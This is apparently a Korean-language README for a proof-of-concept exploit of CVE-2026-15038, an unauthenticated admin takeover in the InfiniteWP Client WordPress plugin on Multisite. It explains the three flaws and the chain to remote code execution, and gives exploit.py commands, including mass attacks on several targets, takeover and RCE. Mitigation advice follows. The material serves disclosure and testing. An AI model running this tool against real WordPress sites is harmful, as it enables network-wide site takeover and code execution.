🚨 CVE-2026-15038 — InfiniteWP Client 관리자 계정 탈취

WordPress Multisite에서 인증되지 않은 관리자 계정 탈취

📋 개요

WordPress용 InfiniteWP Client 플러그인(< 1.13.6)은 Multisite 설치에 영향을 미치는 심각한 인증 우회 취약점을 포함하고 있습니다.

인증되지 않은 공격자는 다음을 수행할 수 있습니다:

🔓 모든 인증 검사 우회
🔑 자신의 암호화 키 바인딩
👑 관리자 세션 탈취
💻 원격 코드 실행(RCE) 달성
🌐 전체 WordPress 네트워크 손상

🔍 근본 원인 분석

🐛 버그 #1: 연결 상태 불일치

if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') 
    && !$iwp_mmb_core->get_option('iwp_client_public_key'))

읽기(Reader): get_site_option() 사용 → 네트워크 수준(wp_sitemeta)에서 읽음
쓰기(Writer): update_blog_option() 사용 → 블로그별(wp_X_options)에 기록

💥 결과: Multisite에서 guard는 항상 false를 반환 — 재페어링이 항상 허용됩니다.

🐛 버그 #2: 활성화 키 우회

if(trim($activation_key) != get_option('iwp_client_activate_key')){

활성화 후 키가 삭제됨 → get_option()이 false를 반환
공격자가 activation_key를 보내지 않음 → trim(null) → ''
PHP 느슨한 비교: '' != false → false → 검사 통과 🎯

🐛 버그 #3: 공격자 제어 키페어

공격자가 자신의 RSA 키페어를 생성
요청에 직접 서명 → openssl_verify() 통과
플러그인이 공격자의 키를 네트워크의 모든 블로그에 바인딩

🚀 공격 체인

graph LR
    A[Send POST Request] --> B[Add Site Action]
    B --> C[Guard Bypassed]
    C --> D[Activation Key Check Fails]
    D --> E[Signature Verifies]
    E --> F[Attacker Key Bound]
    F --> G[Full Admin Access]
    G --> H[RCE Achieved]

💻 설치

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-15038.git
cd CVE-2026-15038

# Install dependencies
pip install -r requirements.txt

🎯 사용법

기본 단일 대상

python3 exploit.py -t https://wordpress.ddev.site

대량 공격

python3 exploit.py -t https://target1.com -t https://target2.com -t https://target3.com

사용자 정의 명령 실행

python3 exploit.py -t https://wordpress.ddev.site --command "wp plugin install hello-dolly --activate"

전체 공격 체인

python3 exploit.py -t https://wordpress.ddev.site --takeover --rce

📂 파일 구조

파일	설명
`exploit.py`	🐍 대량 공격을 지원하는 메인 익스플로잇 스크립트
`requirements.txt`	📦 Python 의존성
`README.md`	📖 이 문서

⚠️ 중요 참고 사항

✅ WordPress Multisite 설치에서 작동
❌ 단일 사이트 설치에서는 효과 없음
🔒 InfiniteWP Client 1.13.6에서 패치됨
🔐 항상 최신 버전으로 업데이트

🛡️ 완화 조치

즉시 조치: InfiniteWP Client ≥ 1.13.6으로 업데이트
확인: 의심스러운 관리자 사용자 확인
감사: 로그에서 최근 add_site 요청 검토
모니터링: 비정상적인 플러그인 활동 감시

🔗 리소스

⚖️ 면책 조항

이 도구는 교육 및 보안 테스트 목적으로만 사용됩니다. 소유한 시스템이나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

By-Poloss..-..CVE-2026-15038-POC

인기